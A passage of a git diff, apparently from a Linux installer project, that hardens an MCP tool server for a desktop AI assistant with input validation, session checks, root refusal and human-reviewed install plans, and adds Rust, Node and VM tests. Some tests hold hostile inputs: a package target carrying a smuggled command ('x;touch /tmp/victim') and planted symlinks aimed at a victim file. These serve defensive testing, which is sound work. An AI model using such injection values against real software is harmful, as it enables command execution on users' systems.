tempdir().unwrap(); + let path = t.path().join("conversation.json"); + let workers: Vec<_> = (0..8) + .map(|i| { + let path = path.clone(); + std::thread::spawn(move || { + let mut turn = fixture_turn(); + turn.query = format!("install app{i}"); + save_turn(&path, &Redactor::new(), turn).unwrap(); + }) + }) + .collect(); + for worker in workers { + worker.join().unwrap(); + } + assert_eq!(load_history(&path).turns.len(), 8); + } + #[test] + fn planted_temp_and_leaf_symlinks_cannot_escape_and_reads_are_bounded() { + let t = tempdir().unwrap(); + let outside = tempdir().unwrap(); + let victim = outside.path().join("victim"); + std::fs::write(&victim, "unchanged").unwrap(); + let path = t.path().join("conversation.json"); + std::os::unix::fs::symlink(&victim, path.with_extension("tmp")).unwrap(); + save_turn(&path, &Redactor::new(), fixture_turn()).unwrap(); + assert_eq!(std::fs::read_to_string(&victim).unwrap(), "unchanged"); + clear_history(&path).unwrap(); + std::os::unix::fs::symlink(&victim, &path).unwrap(); + assert!(save_turn(&path, &Redactor::new(), fixture_turn()).is_err()); + assert!(load_history(&path).turns.is_empty()); + std::fs::remove_file(&path).unwrap(); + std::fs::write(&path, " ".repeat(MAX_HISTORY_BYTES + 1)).unwrap(); + assert!(load_history(&path).turns.is_empty()); + } } diff --git a/installer-rs/crates/phoebus-installer/tests/sys_cli.rs b/installer-rs/crates/phoebus-installer/tests/sys_cli.rs index d110395..efabdc3 100644 --- a/installer-rs/crates/phoebus-installer/tests/sys_cli.rs +++ b/installer-rs/crates/phoebus-installer/tests/sys_cli.rs @@ -335,7 +335,7 @@ fn a_personal_preference_does_not_require_the_root_owned_transaction_log() { } #[test] -fn a_personal_preference_is_refused_when_the_initiating_uid_differs_from_the_euid() { +fn a_personal_preference_ignores_spoofed_uid_for_an_unprivileged_process() { if effective_uid_is_root() { return; } @@ -352,9 +352,8 @@ fn a_personal_preference_is_refused_when_the_initiating_uid_differs_from_the_eui .expect("current uid"); let root = tempfile::tempdir().expect("temp root"); let personal = tempfile::tempdir().expect("personal dir"); - // Simulate `sudo` on behalf of another user without root: the initiating - // uid differs from the effective uid, so the write must be refused rather - // than creating a file owned by the wrong user. + // An unprivileged caller cannot impersonate another uid through SUDO_UID. + // Its personal write remains owned by its actual kernel uid. let out = sys() .arg("--root") .arg(root.path()) @@ -367,16 +366,17 @@ fn a_personal_preference_is_refused_when_the_initiating_uid_differs_from_the_eui ]) .output() .expect("run sys"); - assert!(!out.status.success()); assert!( - String::from_utf8_lossy(&out.stderr).contains("refusing to write"), + out.status.success(), "stderr: {}", String::from_utf8_lossy(&out.stderr) ); - assert!(!personal + let preference = personal .path() - .join(".config/phoebus/package-preferences.toml") - .exists()); + .join(".config/phoebus/package-preferences.toml"); + assert!(preference.is_file()); + use std::os::unix::fs::MetadataExt; + assert_eq!(std::fs::metadata(preference).expect("metadata").uid(), uid); } #[test] diff --git a/installer-rs/crates/phoebus-mcp/Cargo.toml b/installer-rs/crates/phoebus-mcp/Cargo.toml index f47dc72..9b8a25f 100644 --- a/installer-rs/crates/phoebus-mcp/Cargo.toml +++ b/installer-rs/crates/phoebus-mcp/Cargo.toml @@ -10,6 +10,7 @@ name = "phoebus-mcp" path = "src/main.rs" [dependencies] +phoebus-installer = { path = "../phoebus-installer" } phoebus-core.workspace = true phoebus-executor.workspace = true serde.workspace = true diff --git a/installer-rs/crates/phoebus-mcp/src/lib.rs b/installer-rs/crates/phoebus-mcp/src/lib.rs index 9ce2412..5c99b0d 100644 --- a/installer-rs/crates/phoebus-mcp/src/lib.rs +++ b/installer-rs/crates/phoebus-mcp/src/lib.rs @@ -13,8 +13,8 @@ use std::path::Path; use phoebus_executor::desktop_config::{ - add_mango_keybinding, apply_dms_theme, dms_config_dir_for_home, undo_latest_checkpoint, - DmsThemeConfig, MangoKeybinding, + add_mango_keybinding, apply_dms_theme, get_dms_theme, undo_latest_checkpoint, DmsThemeConfig, + MangoKeybinding, }; use serde::{Deserialize, Serialize}; use serde_json::{json, Value}; @@ -37,6 +37,7 @@ pub fn available_tools() -> Vec { description: "Get the current MangoWM and DarkMaterialShell theme settings.".into(), input_schema: json!({ "type": "object", + "additionalProperties": false, "properties": {} }), }, @@ -45,6 +46,7 @@ pub fn available_tools() -> Vec { description: "Apply a theme or accent color to DarkMaterialShell safely with an automatic undo checkpoint.".into(), input_schema: json!({ "type": "object", + "additionalProperties": false, "properties": { "accent_color": { "type": "string", @@ -66,6 +68,7 @@ pub fn available_tools() -> Vec { description: "Add a new keybinding to MangoWM safely with an automatic undo checkpoint.".into(), input_schema: json!({ "type": "object", + "additionalProperties": false, "properties": { "combo": { "type": "string", @@ -73,7 +76,7 @@ pub fn available_tools() -> Vec { }, "action": { "type": "string", - "description": "Action or program to execute (e.g. spawn kitty)" + "description": "Supported desktop action: spawn kitty, spawn firefox, spawn phoebus-assistant, spawn dms ipc call spotlight toggle, reload_config, killclient, togglefloating, togglefullscreen, toggleoverview, zoom" } }, "required": ["combo", "action"] @@ -84,18 +87,20 @@ pub fn available_tools() -> Vec { description: "Revert the latest desktop configuration change using the latest recorded checkpoint.".into(), input_schema: json!({ "type": "object", + "additionalProperties": false, "properties": {} }), }, McpTool { name: "system_propose_action".into(), - description: "Propose a system action (package install or service mutation) to the Phoebus privileged broker. Creates a reviewable plan requiring human Polkit authorization.".into(), + description: "Stage an inspected package-install plan for separate human review. Never executes or authenticates a system action.".into(), input_schema: json!({ "type": "object", + "additionalProperties": false, "properties": { "action": { "type": "string", - "description": "The typed action (e.g. install_package, flatpak_install, nix_prepare)" + "description": "Install lane: install_package (Portage binary), flatpak_install, nix_install or snap_install" }, "target": { "type": "string", @@ -114,21 +119,19 @@ pub fn available_tools() -> Vec { /// Executes an MCP tool call. pub fn call_tool(name: &str, arguments: &Value, home: &Path) -> (Value, bool) { + if !arguments.is_object() { + return (json!({"error":"arguments must be an object"}), true); + } + if ["desktop_get_theme", "desktop_undo"].contains(&name) + && arguments.as_object().is_some_and(|o| !o.is_empty()) + { + return (json!({"error":"this tool accepts no arguments"}), true); + } match name { - "desktop_get_theme" => { - let theme_file = dms_config_dir_for_home(home).join("theme.json"); - if theme_file.exists() { - match std::fs::read_to_string(&theme_file) { - Ok(content) => (json!({ "theme": content }), false), - Err(e) => (json!({ "error": e.to_string() }), true), - } - } else { - ( - json!({ "status": "default (no custom theme.json found)" }), - false, - ) - } - } + "desktop_get_theme" => match get_dms_theme(home) { + Ok(theme) => (json!({"theme":theme}), false), + Err(e) => (json!({"error":e.to_string()}), true), + }, "desktop_set_theme" => { let theme: DmsThemeConfig = match serde_json::from_value(arguments.clone()) { Ok(t) => t, @@ -137,7 +140,7 @@ pub fn call_tool(name: &str, arguments: &Value, home: &Path) -> (Value, bool) { match apply_dms_theme(home, &theme) { Ok(()) => ( - json!({ "status": "success", "message": "Theme applied with auto-checkpoint." }), + json!({ "status": "success", "message": "Native theme settings saved with an undo checkpoint. Reload/restart the desktop to consume the saved configuration." }), false, ), Err(e) => (json!({ "error": e.to_string() }), true), @@ -153,7 +156,7 @@ pub fn call_tool(name: &str, arguments: &Value, home: &Path) -> (Value, bool) { Ok(()) => ( json!({ "status": "success", - "message": format!("Keybinding '{}' added with auto-checkpoint.", kb.combo) + "message": format!("Native keybinding '{}' saved with an undo checkpoint. Reload Mango to consume it.", kb.combo) }), false, ), @@ -171,48 +174,120 @@ pub fn call_tool(name: &str, arguments: &Value, home: &Path) -> (Value, bool) { Err(e) => (json!({ "error": e.to_string() }), true), }, "system_propose_action" => { - let action = arguments - .get("action") - .and_then(Value::as_str) - .unwrap_or_default(); - let target = arguments - .get("target") - .and_then(Value::as_str) - .unwrap_or_default(); - let reason = arguments - .get("reason") - .and_then(Value::as_str) - .unwrap_or_default(); - - if action.is_empty() || target.is_empty() { - return ( - json!({ "error": "both 'action' and 'target' must be non-empty" }), - true, - ); - } - - // Create proposal instructions for the user - let plan_summary = format!( - "System action proposed by agent:\n Action: {action}\n Target: {target}\n Reason: {reason}\n\nTo review and authorize with Polkit, run:\n sys please install {target}" - ); - - ( - json!({ - "status": "proposed", - "plan": { - "action": action, - "target": target, - "reason": reason, - }, - "instructions": plan_summary, - }), + let exec = phoebus_executor::Exec::new( + Box::new(phoebus_executor::command::RealRunner::new()), + phoebus_executor::Logger::open("/dev/null", phoebus_core::Redactor::new(), false), false, - ) + Path::new("/"), + std::env::temp_dir(), + ); + let plans = phoebus_installer::service::PlanStore::for_current_user(); + match stage_system_proposal(arguments, &exec, &plans, Path::new("/")) { + Ok(value) => (value, false), + Err(e) => (json!({"error":e}), true), + } } unknown => (json!({ "error": format!("unknown tool: {unknown}") }), true), } } +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct SystemProposal { + action: String, + target: String, + reason: String, +} +fn stage_system_proposal( + arguments: &Value, + exec: &phoebus_executor::Exec, + plans: &phoebus_installer::service::PlanStore, + root: &Path, +) -> Result { + let proposal: SystemProposal = + serde_json::from_value(arguments.clone()).map_err(|_| "invalid proposal arguments")?; + if proposal.reason.trim().is_empty() + || proposal.reason.len() > 1000 + || proposal.reason.chars().any(char::is_control) + { + return Err("a bounded, non-empty reason is required".into()); + } + if proposal.target.is_empty() + || proposal.target.len() > 200 + || proposal.target.starts_with('-') + || !proposal + .target + .bytes() + .all(|c| c.is_ascii_alphanumeric() || b"+_.@/-".contains(&c)) + { + return Err("invalid package identifier".into()); + } + let backend = match proposal.action.as_str() { + "install_package" => phoebus_core::selection::Backend::PortageBinary, + "flatpak_install" => phoebus_core::selection::Backend::Flatpak, + "nix_install" => phoebus_core::selection::Backend::Nix, + "snap_install" => phoebus_core::selection::Backend::Snap, + _ => return Err("unsupported action: this tool stages package installs only".into()), + }; + let mut request = phoebus_executor::install::InstallRequest::new(&proposal.target); + request.backend = Some(backend); + let plan = phoebus_installer::service::plan_selected_install(plans, exec, root, &request) + .map_err(|e| e.to_string())?; + Ok( + json!({"status":"prepared", "plan_id":plan.id, "digest":plan.digest, + "review":plan.render(), "agent_reason":proposal.reason, "requires_human_review":true, + "authorize_argv":["pkexec","/usr/local/bin/sys","--broker","--execute-plan",plan.id,"--approval-digest",plan.digest]}), + ) +} + +/// Production connections negotiate initialization before any tool is available. +#[derive(Default)] +pub struct McpSession { + initialized: bool, + ready: bool, +} +impl McpSession { + pub fn handle(&mut self, line: &str, home: &Path) -> Option { + let Ok(value) = serde_json::from_str::(line) else { + return handle_mcp_message(line, home); + }; + let method = value["method"].as_str().unwrap_or_default(); + if method == "initialize" && value.get("id").is_some() && value["jsonrpc"] == "2.0" { + if !value["params"].is_object() + || !value["params"]["protocolVersion"].is_string() + || !value["id"].is_string() && !value["id"].is_number() + { + return Some(rpc_error( + value.get("id"), + -32602, + "Invalid initialization parameters", + )); + } + if self.initialized { + return Some(rpc_error(value.get("id"), -32600, "already initialized")); + } + self.initialized = true; + } else if method == "notifications/initialized" + && value.get("id").is_none() + && self.initialized + && value["jsonrpc"] == "2.0" + { + self.ready = true; + return None; + } else if method.starts_with("tools/") && !self.ready && value.get("id").is_some() { + return Some(rpc_error( + value.get("id"), + -32600, + "initialize the MCP session first", + )); + } + handle_mcp_message(line, home) + } +} +fn rpc_error(id: Option<&Value>, code: i32, message: &str) -> String { + json!({"jsonrpc":"2.0", "id":id.unwrap_or(&Value::Null), "error":{"code":code,"message":message}}).to_string() +} + /// Handles a single JSON-RPC line adhering to the Model Context Protocol specification. pub fn handle_mcp_message(line: &str, home: &Path) -> Option { let req: Value = match serde_json::from_str(line) { @@ -229,21 +304,19 @@ pub fn handle_mcp_message(line: &str, home: &Path) -> Option { return Some(err.to_string()); } }; + if !req.is_object() || req["jsonrpc"] != "2.0" { + return Some(rpc_error(req.get("id"), -32600, "Invalid JSON-RPC request")); + } let id = req.get("id"); + if id.is_some_and(|id| !id.is_string() && !id.is_number()) { + return Some(rpc_error(None, -32600, "Invalid request id")); + } let method = match req.get("method").and_then(Value::as_str) { Some(m) => m, - None => { - let err = json!({ - "jsonrpc": "2.0", - "id": id, - "error": { - "code": -32600, - "message": "Invalid Request: missing or invalid method" - } - }); - return Some(err.to_string()); - } + None => return Some(rpc_error(id, -32600, "Invalid method")), }; + // Notifications cannot call tools or cause mutation, even when named tools/call. + id?; match method { "initialize" => { @@ -413,7 +486,7 @@ mod tests { assert_eq!(val["result"]["isError"], false); // Verify theme written - let theme_file = dms_config_dir_for_home(home).join("theme.json"); + let theme_file = home.join(".config/DankMaterialShell/settings.json"); assert!(theme_file.exists()); let content = std::fs::read_to_string(&theme_file).unwrap(); assert!(content.contains("#7aa2f7")); @@ -446,8 +519,8 @@ mod tests { "params": { "name": "system_propose_action", "arguments": { - "action": "install_package", - "target": "dev-libs/openssl", + "action": "enable_service", + "target": "sshd", "reason": "needed for compilation in workspace" } } @@ -455,9 +528,7 @@ mod tests { let resp = handle_mcp_message(propose_req, home).expect("response expected"); let val: Value = serde_json::from_str(&resp).unwrap(); - assert_eq!(val["result"]["isError"], false); - let text = val["result"]["content"][0]["text"].as_str().unwrap(); - assert!(text.contains("dev-libs/openssl")); + assert_eq!(val["result"]["isError"], true); } #[test] @@ -477,4 +548,102 @@ mod tests { let val: Value = serde_json::from_str(&resp).unwrap(); assert_eq!(val["error"]["code"], -32602); } + #[test] + fn notifications_and_uninitialized_sessions_cannot_mutate() { + let t = tempfile::tempdir().unwrap(); + let home = t.path(); + let notification=json!({"jsonrpc":"2.0","method":"tools/call","params":{"name":"desktop_set_theme","arguments":{"accent_color":"#112233"}}}).to_string(); + assert!(handle_mcp_message(¬ification, home).is_none()); + let mut session = McpSession::default(); + let mut call: Value = serde_json::from_str(¬ification).unwrap(); + call["id"] = json!(1); + assert!(session + .handle(&call.to_string(), home) + .unwrap() + .contains("initialize")); + assert!(!home.join(".config").exists()); + session.handle(r#"{"jsonrpc":"2.0","id":2,"method":"initialize","params":{"protocolVersion":"2024-11-05"}}"#,home).unwrap(); + session.handle( + r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#, + home, + ); + let response: Value = + serde_json::from_str(&session.handle(&call.to_string(), home).unwrap()).unwrap(); + assert_eq!(response["result"]["isError"], false); + let (_, error) = call_tool( + "desktop_set_theme", + &json!({"acccent_color":"#112233"}), + home, + ); + assert!(error); + } + #[test] + fn system_proposal_stages_a_real_reviewed_plan_without_execution() { + use phoebus_executor::command::{CommandOutput, CommandSpec, ProcessRunner}; + use std::sync::{Arc, Mutex}; + struct Fixture(Arc>>); + impl ProcessRunner for Fixture { + fn execute(&self, spec: &CommandSpec) -> phoebus_executor::Result { + self.0.lock().unwrap().push(spec.clone()); + let stdout = if spec.args.iter().any(|s| s == "search") { + "org.mozilla.firefox\t128\tflathub\n".into() + } else if spec.args.iter().any(|s| s == "remote-info") { + if spec.args.iter().any(|s| s == "--show-ref") { + "app/org.mozilla.firefox/x86_64/stable\n".into() + } else { + format!("{}\n", "a".repeat(64)) + } + } else if spec.args.iter().any(|s| s == "remotes") { + "flathub\thttps://dl.flathub.org/repo/\t\n".into() + } else { + String::new() + }; + Ok(CommandOutput { + status: 0, + success: true, + stdout: stdout.into_bytes(), + stderr: vec![], + duration: std::time::Duration::ZERO, + }) + } + } + let t = tempfile::tempdir().unwrap(); + let root = t.path().join("root"); + std::fs::create_dir_all(root.join("usr/bin")).unwrap(); + std::fs::write(root.join("usr/bin/flatpak"), b"fixture").unwrap(); + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions( + root.join("usr/bin/flatpak"), + std::fs::Permissions::from_mode(0o755), + ) + .unwrap(); + let calls = Arc::new(Mutex::new(vec![])); + let exec = phoebus_executor::Exec::new( + Box::new(Fixture(calls.clone())), + phoebus_executor::Logger::open( + t.path().join("log"), + phoebus_core::Redactor::new(), + false, + ), + false, + &root, + t.path(), + ); + let plans = phoebus_installer::service::PlanStore::with_dir(t.path().join("plans")); + let result=stage_system_proposal(&json!({"action":"flatpak_install","target":"org.mozilla.firefox","reason":"needed in workspace"}),&exec,&plans,&root).unwrap(); + let plan = plans.load(result["plan_id"].as_str().unwrap()).unwrap(); + assert_eq!(plan.digest, result["digest"]); + assert!(!plan.executed); + assert!(calls.lock().unwrap().iter().all(|s| !s + .args + .iter() + .any(|a| a == "install" || a == "pkexec" || a == "--ask=n"))); + assert!(stage_system_proposal( + &json!({"action":"install_package","target":"x;touch /tmp/victim","reason":"x"}), + &exec, + &plans, + &root + ) + .is_err()); + } } diff --git a/installer-rs/crates/phoebus-mcp/src/main.rs b/installer-rs/crates/phoebus-mcp/src/main.rs index 41d2ad3..d9dd68d 100644 --- a/installer-rs/crates/phoebus-mcp/src/main.rs +++ b/installer-rs/crates/phoebus-mcp/src/main.rs @@ -7,7 +7,7 @@ use std::io::{self, BufRead, Write}; use std::path::PathBuf; use clap::Parser; -use phoebus_mcp::handle_mcp_message; +use phoebus_mcp::McpSession; #[derive(Parser, Debug)] #[command( @@ -22,29 +22,60 @@ struct Cli { fn main() { let cli = Cli::parse(); - let home = cli.home.unwrap_or_else(|| { - std::env::var("HOME") - .map(PathBuf::from) - .unwrap_or_else(|_| PathBuf::from(".")) - }); - + let uid = phoebus_executor::personal::effective_uid(); + if uid == 0 { + eprintln!("phoebus-mcp: run as the desktop user, never root"); + std::process::exit(1); + } + let home = cli + .home + .or_else(|| phoebus_executor::personal::home_for_uid(uid)) + .unwrap_or_else(|| { + eprintln!("phoebus-mcp: cannot resolve account home"); + std::process::exit(1) + }); + use std::os::unix::fs::MetadataExt; + if !home.is_absolute() + || std::fs::symlink_metadata(&home).map_or(true, |m| { + !m.is_dir() || m.file_type().is_symlink() || m.uid() != uid + }) + { + eprintln!("phoebus-mcp: home must be an absolute directory owned by the desktop user"); + std::process::exit(1); + } + let mut session = McpSession::default(); let stdin = io::stdin(); let mut stdout = io::stdout(); - for line in stdin.lock().lines() { - let line = match line { - Ok(l) => l, - Err(_) => break, + let mut reader = stdin.lock(); + loop { + let mut line = Vec::new(); + // Bound the frame before allocation, then close an oversized connection. + use std::io::Read; + match (&mut reader) + .take(64 * 1024 + 1) + .read_until(b'\n', &mut line) + { + Ok(0) => break, + Ok(_) if line.len() <= 64 * 1024 => {} + _ => { + eprintln!("phoebus-mcp: invalid or oversized request frame"); + break; + } + } + let Ok(line) = std::str::from_utf8(&line) else { + break; }; - - let trimmed = line.trim(); - if trimmed.is_empty() { + if line.trim().is_empty() { continue; } - - if let Some(response) = handle_mcp_message(trimmed, &home) { - let _ = writeln!(stdout, "{response}"); - let _ = stdout.flush(); + if let Some(response) = session.handle(line, &home) { + if writeln!(stdout, "{response}") + .and_then(|_| stdout.flush()) + .is_err() + { + break; + } } } } diff --git a/installer/live/build.sh b/installer/live/build.sh index cae3371..866d89b 100755 --- a/installer/live/build.sh +++ b/installer/live/build.sh @@ -48,11 +48,11 @@ if ! command -v magick >/dev/null 2>&1 \ echo "missing an SVG rasteriser for the boot background (magick, convert or inkscape)" >&2 exit 1 fi -for b in phoebus-installer sys; do +for b in phoebus-installer sys phoebus-agent-run phoebus-mcp; do [[ -x "$release_src/$b" ]] || { echo "missing $release_src/$b; build it first:" >&2 echo " cd installer-rs && RUSTFLAGS=\"-C target-feature=+crt-static\" \\" >&2 - echo " cargo build --release -p phoebus-installer --target $target" >&2 + echo " cargo build --release --bins -p phoebus-installer -p phoebus-mcp --target $target" >&2 exit 1 } done @@ -63,6 +63,8 @@ chmod 0777 "$work" chmod 0755 "$work/src" "$work/assets" "$work/release" install -m 0755 "$release_src/phoebus-installer" "$work/release/phoebus-installer" install -m 0755 "$release_src/sys" "$work/release/sys" +install -m 0755 "$release_src/phoebus-agent-run" "$work/release/phoebus-agent-run" +install -m 0755 "$release_src/phoebus-mcp" "$work/release/phoebus-mcp" release_dir="$work/release" # --------------------------------------------------------------------------- @@ -229,6 +231,8 @@ build_id="${PHOEBUS_BUILD_ID:-$(date -u +%Y%m%dT%H%M%SZ)}" install -d -m 0755 "$rootfs/etc/phoebus" install -D -m 0755 "$release_dir/phoebus-installer" "$rootfs/usr/local/bin/phoebus-installer" install -D -m 0755 "$release_dir/sys" "$rootfs/usr/local/bin/sys" +install -D -m 0755 "$release_dir/phoebus-agent-run" "$rootfs/usr/local/bin/phoebus-agent-run" +install -D -m 0755 "$release_dir/phoebus-mcp" "$rootfs/usr/local/bin/phoebus-mcp" install_asset() { local name="$1" dest="$2" mode="${3:-0644}" diff --git a/installer/live/desktop/phoebus-assistant/AssistantBridge.qml b/installer/live/desktop/phoebus-assistant/AssistantBridge.qml index 2f7f2f0..b3aeb91 100644 --- a/installer/live/desktop/phoebus-assistant/AssistantBridge.qml +++ b/installer/live/desktop/phoebus-assistant/AssistantBridge.qml @@ -26,19 +26,33 @@ Singleton { return ["/usr/local/bin/sys", "--assistant-bridge"]; } + property bool stoppedByUser: false + property int restartAttempts: 0 Timer { - interval: 100 - repeat: false - running: proc.running && root.handshake === null - onTriggered: root.refreshHandshake(null) + id: restartTimer + interval: 1000 * Math.max(1, root.restartAttempts) + onTriggered: { + if (!root.stoppedByUser && !proc.running) + proc.running = true; + } + } + + Timer { + interval: 60000 + running: root.ready && proc.running + onTriggered: root.restartAttempts = 0 } function start() { + root.stoppedByUser = false; + root.restartAttempts = 0; if (!proc.running) proc.running = true; } function stop() { + root.stoppedByUser = true; + restartTimer.stop(); if (proc.running) proc.running = false; } @@ -67,7 +81,7 @@ Singleton { try { msg = JSON.parse(text); } catch (e) { - console.log("assistant-bridge: unparsable line: " + text); + root.lastError = "The assistant returned an invalid protocol message."; return; } if (msg.id !== undefined && root.pending[msg.id]) { @@ -84,9 +98,13 @@ Singleton { function refreshHandshake(cb) { call("handshake", {}, reply => { - if (reply.ok) { + if (reply.ok && reply.result && reply.result.protocol_version === 1) { root.handshake = reply.result; + root.ready = true; root.handshakeReady(); + } else { + root.lastError = reply.error || "The assistant protocol is incompatible."; + root.crashed = true; } if (cb) cb(reply); @@ -164,22 +182,29 @@ Singleton { running: false onStarted: { - root.ready = true; + root.ready = false; + root.handshake = null; root.crashed = false; root.refreshHandshake(null); } onExited: exitCode => { root.ready = false; - root.crashed = true; + root.crashed = !root.stoppedByUser; + root.handshake = null; const ids = Object.keys(root.pending); for (let i = 0; i < ids.length; i++) { const cb = root.pending[ids[i]]; delete root.pending[ids[i]]; try { - cb.done({ ok: false, error: "The assistant bridge stopped (exit " + exitCode + ")." }); + cb.done({ ok: false, error: "The assistant bridge stopped (exit " + exitCode + "). Check History before retrying an action that was executing." }); } catch (e) {} } + // Restore the connection only; never replay pending requests. + if (!root.stoppedByUser && root.restartAttempts < 3) { + root.restartAttempts++; + restartTimer.restart(); + } } stdout: SplitParser { @@ -188,8 +213,7 @@ Singleton { stderr: SplitParser { onRead: line => { - root.lastError = line; - console.log("assistant-bridge err: " + line); + root.lastError = ("" + line).slice(0, 1024); } } } diff --git a/installer/live/desktop/phoebus-assistant/shell.qml b/installer/live/desktop/phoebus-assistant/shell.qml index d0a5131..5bf6162 100644 --- a/installer/live/desktop/phoebus-assistant/shell.qml +++ b/installer/live/desktop/phoebus-assistant/shell.qml @@ -321,7 +321,11 @@ ShellRoot { } function clearConversation() { - AssistantBridge.clearConversation(() => { + AssistantBridge.clearConversation(reply => { + if (!reply.ok) { + shell.statusText = reply.error || "Could not clear conversation history"; + return; + } shell.conversation = []; shell.statusText = "Conversation history cleared"; }); @@ -631,6 +635,12 @@ ShellRoot { font.pixelSize: 12 } + PhoebusButton { + visible: AssistantBridge.crashed + label: "Reconnect" + onClicked: AssistantBridge.start() + } + PhoebusButton { label: "Open Legacy Admin" onClicked: shell.currentTab = "legacy" diff --git a/installer/tests/ui/assistant-bridge.test.cjs b/installer/tests/ui/assistant-bridge.test.cjs new file mode 100644 index 0000000..3cbee2f --- /dev/null +++ b/installer/tests/ui/assistant-bridge.test.cjs @@ -0,0 +1,77 @@ +// Run with node installer/tests/ui/assistant-bridge.test.cjs. +// Exercise the shipped QML JavaScript against a fake stdio process; no model, +// desktop settings or authentication are involved. +const fs = require('node:fs'); +const path = require('node:path'); +const vm = require('node:vm'); +const assert = require('node:assert/strict'); +const test = require('node:test'); +const source = fs.readFileSync(path.join(__dirname, '../../live/desktop/phoebus-assistant/AssistantBridge.qml'), 'utf8'); + +// Separate scanner keeps nested scopes while ignoring string/comment braces. +function body(pattern) { + const m = pattern.exec(source); assert.ok(m); + const start = m.index + m[0].length; + let depth = 1, quote = '', escaped = false, comment = false; + for (let i = start; i < source.length; i++) { + const c = source[i]; + if (comment) { if (c === '\n') comment = false; continue; } + if (quote) { + if (escaped) escaped = false; + else if (c === '\\') escaped = true; + else if (c === quote) quote = ''; + continue; + } + if (c === '/' && source[i+1] === '/') { comment = true; i++; continue; } + if (c === '"' || c === "'") { quote = c; continue; } + if (c === '{') depth++; + if (c === '}' && --depth === 0) return source.slice(start, i); + } + throw new Error('unterminated handler'); +} +function fixture() { + const writes = [], log = [], root = { + ready:false, crashed:false, lastError:'', handshake:null, pending:{}, + nextId:1, stoppedByUser:false, restartAttempts:0, handshakeReady() {} + }; + const proc = {running:true, write(line) { writes.push(JSON.parse(line)); }}; + const restartTimer = {restarts:0, restart() {this.restarts++;}, stop() {}}; + const context = vm.createContext({root, proc, restartTimer, console:{log(s) {log.push(s);}}}); + for (const name of ['start','stop','call','handleLine','refreshHandshake']) { + const pattern = new RegExp('function '+name+'\\(([^)]*)\\)\\s*\\{'); + const m = pattern.exec(source); assert.ok(m); + vm.runInContext('root.'+name+' = function('+m[1]+') {'+body(pattern)+'};', context); + context[name] = (...args) => root[name](...args); + } + vm.runInContext('root.started = function() {'+body(/onStarted:\s*\{/)+ '};',context); + vm.runInContext('root.exited = function(exitCode) {'+body(/onExited:\s*exitCode\s*=>\s*\{/)+ '};',context); + return {root, proc, writes, log, restartTimer}; +} +test('ready requires a compatible handshake, and raw protocol errors are not logged', () => { + const f=fixture(); f.root.started(); assert.equal(f.root.ready,false); + f.root.handleLine(JSON.stringify({id:f.writes[0].id,ok:true,result:{protocol_version:999}})); + assert.equal(f.root.ready,false); assert.equal(f.root.crashed,true); + f.root.handleLine('synthetic-private-text'); assert.deepEqual(f.log,[]); + f.root.started(); + f.root.handleLine(JSON.stringify({id:f.writes.at(-1).id,ok:true,result:{protocol_version:1}})); + assert.equal(f.root.ready,true); +}); +test('progress retains the pending request, final response consumes it once', () => { + const f=fixture(); let progress=0, done=0; + f.root.call('ask',{},()=>done++,()=>progress++); + const id=f.writes[0].id; + f.root.handleLine(JSON.stringify({id,event:'progress',progress:{}})); + assert.equal(progress,1); assert.equal(done,0); + f.root.handleLine(JSON.stringify({id,ok:true,result:{}})); + f.root.handleLine(JSON.stringify({id,ok:true,result:{}})); + assert.equal(done,1); +}); +test('exit fails pending work without replay; retries are bounded and stop is deliberate', () => { + const f=fixture(); let failure; + f.root.call('execute',{plan_id:'reviewed'},reply=>failure=reply); + f.root.exited(1); assert.equal(failure.ok,false); assert.match(failure.error,/History/); + assert.deepEqual(Object.keys(f.root.pending),[]); assert.equal(f.writes.length,1); + f.root.exited(1); f.root.exited(1); f.root.exited(1); + assert.equal(f.restartTimer.restarts,3); + f.root.stop(); f.root.exited(0); assert.equal(f.restartTimer.restarts,3); +}); diff --git a/installer/tests/vm/user-agent-guest.py b/installer/tests/vm/user-agent-guest.py new file mode 100644 index 0000000..2f53e1a --- /dev/null +++ b/installer/tests/vm/user-agent-guest.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +"""Synthetic normal-user acceptance; run only in a disposable QEMU/KVM overlay.""" +import json +import os +from pathlib import Path +import socket +import subprocess +import tempfile + +assert subprocess.check_output(['systemd-detect-virt'], text=True).strip() in ('qemu', 'kvm') +assert os.geteuid() != 0 +BIN = Path('/tmp/phoebus-user-bins') + +def report(name): + print(f'CASE {name} PASS', flush=True) + +with tempfile.TemporaryDirectory(prefix='user-agent-fixture-', dir=Path.home()) as directory: + home = Path(directory) + settings = home / '.config/DankMaterialShell/settings.json' + session = home / '.local/state/DankMaterialShell/session.json' + settings.parent.mkdir(parents=True) + session.parent.mkdir(parents=True) + before = '{"fixture": "preserved", "matugenSeedColor":"#000000"}\n' + settings.write_text(before) + session.write_text('{"fixture":true,"isLightMode":true}\n') + mcp = subprocess.Popen([str(BIN/'phoebus-mcp'), '--home', str(home)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) + def send(message): + mcp.stdin.write(json.dumps(message)+'\n') + mcp.stdin.flush() + def request(identifier, method, params): + send({'jsonrpc':'2.0', 'id':identifier, 'method':method, 'params':params}) + return json.loads(mcp.stdout.readline()) + assert 'error' in request(1, 'tools/list', {}) + assert 'result' in request(2, 'initialize', {'protocolVersion':'2024-11-05', 'capabilities':{}, 'clientInfo':{'name':'fixture','version':'1'}}) + send({'jsonrpc':'2.0','method':'notifications/initialized','params':{}}) + def tool(identifier, name, arguments): + return request(identifier, 'tools/call', {'name':name,'arguments':arguments})['result'] + send({'jsonrpc':'2.0','method':'tools/call','params':{'name':'desktop_set_theme','arguments':{'accent_color':'#ffffff'}}}) + assert 'result' in request(3,'ping',{}) + assert settings.read_text() == before + report('mcp-lifecycle') + assert not tool(4,'desktop_set_theme',{'accent_color':'#112233','dark_mode':True}).get('isError',False) + assert json.loads(settings.read_text())['fixture'] == 'preserved' + assert json.loads(settings.read_text())['matugenSeedColor'] == '#112233' + assert json.loads(session.read_text())['isLightMode'] is False + result = tool(5,'desktop_get_theme',{}) + assert 'fixture' not in json.dumps(result) + assert not tool(6,'desktop_add_keybinding',{'combo':'Mod4+Shift+k','action':'spawn kitty'}).get('isError',False) + mango = home/'.config/mango/config.conf' + assert 'bind=SHIFT+SUPER,k,spawn,kitty' in mango.read_text() + assert not tool(7,'desktop_undo',{}).get('isError',False) + assert not mango.exists() + assert not tool(8,'desktop_undo',{}).get('isError',False) + assert 